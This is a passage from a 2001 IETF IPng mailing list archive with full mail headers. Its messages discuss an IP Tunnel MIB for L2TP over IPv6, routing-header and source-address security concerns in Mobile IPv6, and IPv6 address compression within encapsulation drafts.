networks > > > (including IPv6 networks). Management of such tunnels may be > > supported > > > by other MIBs." > > > > > > Is there any work on such an MIB? > > > > Not that I know of. > > > > > It is required for having L2TP > > > over IPv6... > > > > I pinged the list back in March about L2TP over IPv6 and received > > nothing but > > deafening silence. I would hope that any changes in the MIB to support > > L2TP over > > IPv6 would be very, very, minimal. > > > > > > > > Thanks in advance, > > > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > Daniel Feldman > > > System Engineer, IC4IC Ltd. > > > office: +972(4)959-4644 ext. 121 > > > mobile: +972(55)990-299 > > > fax: +972(4)959-4944 > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > _______________________________________________ > > > L2tpext mailing list > > > L2tpext@ietf.org > > > https://www1.ietf.org/mailman/listinfo/l2tpext > > > > _______________________________________________ > > L2tpext mailing list > > L2tpext@ietf.org > > https://www1.ietf.org/mailman/listinfo/l2tpext > > > > _______________________________________________ > L2tpext mailing list > L2tpext@ietf.org > https://www1.ietf.org/mailman/listinfo/l2tpext -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:08:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL8bvU023416 for ; Tue, 11 Dec 2001 13:08:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBL8b4l023415 for ipng-dist; Tue, 11 Dec 2001 13:08:37 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL8ZvU023408 for ; Tue, 11 Dec 2001 13:08:35 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBL8ANE020650 for ; Tue, 11 Dec 2001 13:08:10 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBL8AaJ020649 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:08:10 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB0KbvU016649 for ; Mon, 10 Dec 2001 16:20:37 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA05495 for ; Mon, 10 Dec 2001 16:20:39 -0800 (PST) Received: from localhost.localdomain (251-196-131-12.bellhead.com [12.131.196.251]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA29292 for ; Mon, 10 Dec 2001 16:20:39 -0800 (PST) Received: from occamnetworks.com (252-202-131-12.bellhead.com [12.131.202.252]) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id fBB0Hfj12132; Mon, 10 Dec 2001 17:17:41 -0700 Message-ID: <3C15509C.8080907@occamnetworks.com> Date: Mon, 10 Dec 2001 16:17:32 -0800 From: Evan Caves User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 X-Accept-Language: en-us MIME-Version: 1.0 To: "W. Mark Townsley" CC: Klausberger Walter , "'Daniel Feldman'" , l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB References: <3C153CB1.5CCA44A2@cisco.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk W. Mark Townsley wrote: >Hi Walter. > >The L2TP MIB we have today, which for the record is the MIB for RFC2661 L2TP >over IPv4, has available for extensive review by this group as well as the MIB >Doctors whose time is not easy to come by and blessing sometimes difficult to >achieve. It has been a long and tedious process that I would hate to turn on its >ear at this point and try to repeat from square zero. > >As you have mentioned, L2TPv3 will require significant MIB changes in order to >support multiple L2 transports. > I think you mean different payloads. The MIB in its current form is structured to support multiple L2 transports. I would suspect that the effort involved is about the same as it was tearing apart the L2TP protocol spec to create base and payload specs. evan - -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:08:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL7wvU023389 for ; Tue, 11 Dec 2001 13:07:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBL7wL9023388 for ipng-dist; Tue, 11 Dec 2001 13:07:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL7rvU023381 for ; Tue, 11 Dec 2001 13:07:53 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBL7TNE020590 for ; Tue, 11 Dec 2001 13:07:29 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBL7Tml020589 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:07:29 -0800 (PST) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALpavU015038 for ; Mon, 10 Dec 2001 13:51:36 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA10136 for ; Mon, 10 Dec 2001 13:51:38 -0800 (PST) Received: from localhost.localdomain (251-196-131-12.bellhead.com [12.131.196.251]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA12380 for ; Mon, 10 Dec 2001 14:51:37 -0700 (MST) Received: from occamnetworks.com (252-202-131-12.bellhead.com [12.131.202.252]) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id fBALmZj11648; Mon, 10 Dec 2001 14:48:35 -0700 Message-ID: <3C152D94.3030902@occamnetworks.com> Date: Mon, 10 Dec 2001 13:48:04 -0800 From: Evan Caves User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 X-Accept-Language: en-us MIME-Version: 1.0 To: Daniel Feldman CC: Klausberger Walter , "W. Mark Townsley" , l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB References: <88BC9E379956AE4DB689CC5FF6F5A43D15C894@exchange.Ic4ic.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Then volunteer to write one :-). evan - Daniel Feldman wrote: >...the problem is there is no IP Tunnel MIB for IPv6 networks... > >-----Original Message----- From: Evan Caves [mailto:evan@occamnetworks.com] >Sent: Monday, December 10, 2001 11:33 PM >To: Klausberger Walter >Cc: Daniel Feldman; W. Mark Townsley; l2tpext@ietf.org; >ipng@sunroof.eng.sun.com >Subject: Re: [L2tpext] IP Tunnel MIB > > >inline > >Klausberger Walter wrote: > >>Hi, >> >>I think the Tunnel MIB was fine, when it was defined, but I do not >> >think > >>that it was a very good idea to use it as base for L2TP. >> > >This last comment does not make any sense. Using the IP Tunnel MIB as a >base mib for IPv4 >tunneling strategies was its intent. L2TP used it because it was >supposed to. > >>Maybe you could do >>a fast adaptation by changing TOS to traffic class and the like, but >> >don't > >>we need additional enhancements in the near future. The tunnel MIB is >> >fixed > >>to IPv4. >> >The IP Tunnel MIB specifically states that it manages tunnels over IPv4 >networks, period, and >that tunnels over other networks will require their own management >support. > >> >>I had some discussion with Evan Caves and Dave Thaler during the San >> >Diego > >>meeting a year ago. This MIB fits for all kind of statically used >> >tunnels > >>over IPv4, but I found a lot of problems together with dynamically >> >created > >>tunnels (in LAC case via RADIUS) and L2TP over ATM/Frame Relay (e.g. >>endpoint identifier, security,...). >> >If there are problems with the current MIB definitions then they should >be discussed and rectified >if necessary. > >> >>Now we have this new case with IPv6. Next may be MPLS or something >> >else. > >>Shouldn't we consider an alternativ to the Tunnel MIB as part of a new >> >MIB > >>for L2TP, which is still no RFC (I wonder if it will ever become an >> >RFC)? Or > >>should we think of an advanced version of a more generic Tunnel MIB. >> >>Or should we make a seperate MIB for L2TP over IPv6? (then we should do >> >be > >>more flexible than the Tunnel MIB)? >> >If an IP Tunnel MIB for IPv6 networks is defined then L2TP will use that > >as a base. > >evan >- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:09:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL90vU023426 for ; Tue, 11 Dec 2001 13:09:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBL90G1023425 for ipng-dist; Tue, 11 Dec 2001 13:09:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL8uvU023418 for ; Tue, 11 Dec 2001 13:08:57 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBL8WNE020680 for ; Tue, 11 Dec 2001 13:08:32 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBL8V79020679 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:08:31 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB2pKvU017355 for ; Mon, 10 Dec 2001 18:51:20 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA02616 for ; Mon, 10 Dec 2001 18:51:21 -0800 (PST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA16153 for ; Mon, 10 Dec 2001 19:51:57 -0700 (MST) Received: from cisco.com (rtp-vpn2-71.cisco.com [10.82.240.71]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with ESMTP id SAA21166; Mon, 10 Dec 2001 18:50:26 -0800 (PST) Message-ID: <3C15740F.D9AE0319@cisco.com> Date: Mon, 10 Dec 2001 19:48:47 -0700 From: "W. Mark Townsley" X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Evan Caves CC: Klausberger Walter , "'Daniel Feldman'" , l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB References: <3C153CB1.5CCA44A2@cisco.com> <3C15509C.8080907@occamnetworks.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Evan Caves wrote: > > W. Mark Townsley wrote: > > >Hi Walter. > > > >The L2TP MIB we have today, which for the record is the MIB for RFC2661 L2TP > >over IPv4, has available for extensive review by this group as well as the MIB > >Doctors whose time is not easy to come by and blessing sometimes difficult to > >achieve. It has been a long and tedious process that I would hate to turn on its > >ear at this point and try to repeat from square zero. > > > >As you have mentioned, L2TPv3 will require significant MIB changes in order to > >support multiple L2 transports. > > > I think you mean different payloads. The MIB in its current form is > structured to support multiple L2 transports. I > would suspect that the effort involved is about the same as it was > tearing apart the L2TP protocol spec to > create base and payload specs. I was referring to tunneling of L2 things other than PPP. There have been a dozen different names for this, sorry for the ambiguity... And I really should know better than to use the word "transport" ... I suppose the preferred name is "Pseudowire." - Mark > > evan > - -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:10:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBLAQvU023482 for ; Tue, 11 Dec 2001 13:10:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBLAQoS023481 for ipng-dist; Tue, 11 Dec 2001 13:10:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBLAOvU023474 for ; Tue, 11 Dec 2001 13:10:24 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBLA0NE020710 for ; Tue, 11 Dec 2001 13:10:00 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBLA0C0020709 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:10:00 -0800 (PST) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHjmvU022264 for ; Tue, 11 Dec 2001 09:45:48 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA10971 for ; Tue, 11 Dec 2001 09:45:49 -0800 (PST) Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA18767 for ; Tue, 11 Dec 2001 09:45:49 -0800 (PST) Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 11 Dec 2001 09:45:48 -0800 Received: from 157.54.6.197 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 11 Dec 2001 09:45:48 -0800 Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-hub-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 11 Dec 2001 09:45:47 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 11 Dec 2001 09:45:47 -0800 Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3588.0); Tue, 11 Dec 2001 09:44:18 -0800 x-mimeole: Produced By Microsoft Exchange V6.0.6092.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: Security & draft-deering-ipv6-encap-addr-deletion-00.txt Date: Tue, 11 Dec 2001 09:44:17 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Security & draft-deering-ipv6-encap-addr-deletion-00.txt Thread-Index: AcFtbOaJGugX5964RUex6eMwffn7RwU+/kgQ From: "Christian Huitema" To: "Steve Deering" Cc: X-OriginalArrivalTime: 11 Dec 2001 17:44:18.0074 (UTC) FILETIME=[75188FA0:01C1826B] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fBBHjmvU022265 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Steve, In the WG discussion, we alluded to a security risk related to IPSEC tunnels. The risk is the following. Compare a typical VPN set-up that uses ESP: <-- outer IPv6 header -> <-- inner IPv6 packet, encrypted -> +----+--------+--------+------------+----+--------+--------+ +------------ | | | | | | | | | |oNAF| oSRC | oDEST | ESP header |iNAF| iSRC | iDEST | | iPAYLOAD | | | | | | | | | +----+--------+--------+------------+----+--------+--------+ +------------ Now, with the compression, we would in many cases be able to "compress" the source address, resulting in: <-- outer IPv6 header -> <-- inner IPv6 packet, encrypted -> +----+--------+--------+------------+----+--------+ +------------ | | | | | | | | |oNAF| oSRC | oDEST | ESP header |iNAF| iDEST | | iPAYLOAD | | | | | | | | +----+--------+--------+------------+----+--------+ +------------ The big difference between the two is the iSRC is not protected by the encryption, but recomposed after decryption by copying oSRC -- which is not protected. This would open an attack avenue for a hacker or, heavens forbids, a NAT... -- Christian Huitema -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:10:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBLApvU023499 for ; Tue, 11 Dec 2001 13:10:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBLApIV023498 for ipng-dist; Tue, 11 Dec 2001 13:10:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBLAnvU023484 for ; Tue, 11 Dec 2001 13:10:50 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBLAPNE020740 for ; Tue, 11 Dec 2001 13:10:25 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBLAPXa020739 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:10:25 -0800 (PST) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBJ8QvU022818 for ; Tue, 11 Dec 2001 11:08:26 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA03180 for ; Tue, 11 Dec 2001 11:08:12 -0800 (PST) Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA23525 for ; Tue, 11 Dec 2001 12:08:11 -0700 (MST) Received: from innovationslab.net ([12.131.203.183]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 11 Dec 2001 14:11:45 -0500 Message-ID: <3C1659A0.6559CD3@innovationslab.net> Date: Tue, 11 Dec 2001 14:08:16 -0500 From: Brian Haberman Reply-To: haberman@innovationslab.net X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Werner Pomwenger CC: "'ipng@sunroof.eng.sun.com.'" Subject: Re: nortel & ipv6 References: <3C161709.1020809@fh-sbg.ac.at> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Werner, No, it does not support MobileIPv6. regards, Brian Werner Pomwenger wrote: > > has anybody an idea if nortel's latest BayRS release supports MobileIPv6 > as a service. i couldn't find any information about that. > > cheers & thanks for comments, > > werny > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 14:16:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBMG6vU023925 for ; Tue, 11 Dec 2001 14:16:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBMG68g023924 for ipng-dist; Tue, 11 Dec 2001 14:16:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBMG1vU023917 for ; Tue, 11 Dec 2001 14:16:01 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBBMFrq24890; Tue, 11 Dec 2001 23:15:53 +0100 (MET) Date: Tue, 11 Dec 2001 23:14:07 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: Pekka Savola Cc: Erik Nordmark , "Jari T. Malinen" , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > MN's are the only IPv6 hosts that need it right now, AFAIR. > > All hosts would also be good, but I'm not sure if there's any _need_ to > burden IPv6 implementations that don't support MIPv6 at this point. But if there is a security issue with mobile hosts forwarding packets with RH (that contain them as a destination) why doesn't that concern extend to hosts that don't implement MIPv6? > > There is other use of routing headers such as being able to remotely > > do a traceroute from the other end by source routing the packets > > through that host. > > I'm not sure if that is all that useful, but you're right. There might be > an exception (as is noted in RFC1122 IIRC) about "local routing headers". > The check would be made stricter by e.g. requiring to-be-swapped address > must equal the source address. But that wouldn't allow 3rd party traceroute (such as the NOC doing a traceroute from A to B by source routing packets to B through A). I have no idea if this is used operationally... > If one is able to spoof the source address, this could be used for > anonymous reflection by spoofing source address to be that of the final > victim. Therefore I don't think this kind of use should be encouraged. But it is a bit different than reflection ... in subtle ways. My brain can't tell if these differences are significant... > > Of course there are some details e.g. on how the MN discovers that the CN has > > garbage collected the BCE but I think an ICMP error can handle that (but > > I haven't thought enough about that). > > I don't see security issues with that. > > I was worried about the same thing too -- as Michael Thomas also pointed > out. This could lead to rather unpredictable behaviour. Getting this > robust enough (packets discarded until ICMP is received to notify about > this might not be enough) may be challenging. A possible addition would be allowing the CN to sending "binding nack" when deleting the BCE. Then the ICMP error would occur e.g. when such a message is lost or the CN crashes and reboots (i.e. doesn't have the ability to send a nack). Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 14:25:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBMP9vU024072 for ; Tue, 11 Dec 2001 14:25:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBMP9ck024071 for ipng-dist; Tue, 11 Dec 2001 14:25:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBMP6vU024064 for ; Tue, 11 Dec 2001 14:25:06 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA23481 for ; Tue, 11 Dec 2001 14:25:07 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA13172 for ; Tue, 11 Dec 2001 15:25:44 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBMOxc11800; Wed, 12 Dec 2001 00:24:59 +0200 Date: Wed, 12 Dec 2001 00:24:59 +0200 (EET) From: Pekka Savola To: Erik Nordmark cc: "Jari T. Malinen" , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Erik Nordmark wrote: > > MN's are the only IPv6 hosts that need it right now, AFAIR. > > > > All hosts would also be good, but I'm not sure if there's any _need_ to > > burden IPv6 implementations that don't support MIPv6 at this point. > > But if there is a security issue with mobile hosts forwarding packets > with RH (that contain them as a destination) why doesn't that > concern extend to hosts that don't implement MIPv6? It does concern them, but I guess I didn't say it clearly: We can tell everyone to disable routing headers in hosts *IF* this particular case is special-handled *where it's used*. Currently, only MN's use it. Therefore implementing this in MN's and switching the default would be the minimal procedure. Hope this clarifies? > > > There is other use of routing headers such as being able to remotely > > > do a traceroute from the other end by source routing the packets > > > through that host. > > > > I'm not sure if that is all that useful, but you're right. There might be > > an exception (as is noted in RFC1122 IIRC) about "local routing headers". > > The check would be made stricter by e.g. requiring to-be-swapped address > > must equal the source address. > > But that wouldn't allow 3rd party traceroute (such as the NOC doing a > traceroute from A to B by source routing packets to B through A). > I have no idea if this is used operationally... Yes it wouldn't, but this kind of traceroute should be done with routers anyway (and this discussion wouldn't apply), or if really careful, the forwarding could be toggled on. > > If one is able to spoof the source address, this could be used for > > anonymous reflection by spoofing source address to be that of the final > > victim. Therefore I don't think this kind of use should be encouraged. > > But it is a bit different than reflection ... in subtle ways. > My brain can't tell if these differences are significant... Yeah, too many reflection attacks :-). Difficult to say whether it's critically different.. but that's one more potential nastie anyway.. > A possible addition would be allowing the CN to sending "binding nack" > when deleting the BCE. > Then the ICMP error would occur e.g. when such a message is lost > or the CN crashes and reboots (i.e. doesn't have the ability to send > a nack). Perhaps those that analyzed the IPSEC behaviour (if it's similar enough) can elaborate on the subject. But I think this is better done in a separate thread, in mobile-ip@ only. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 15:10:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNAfvU024315 for ; Tue, 11 Dec 2001 15:10:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com 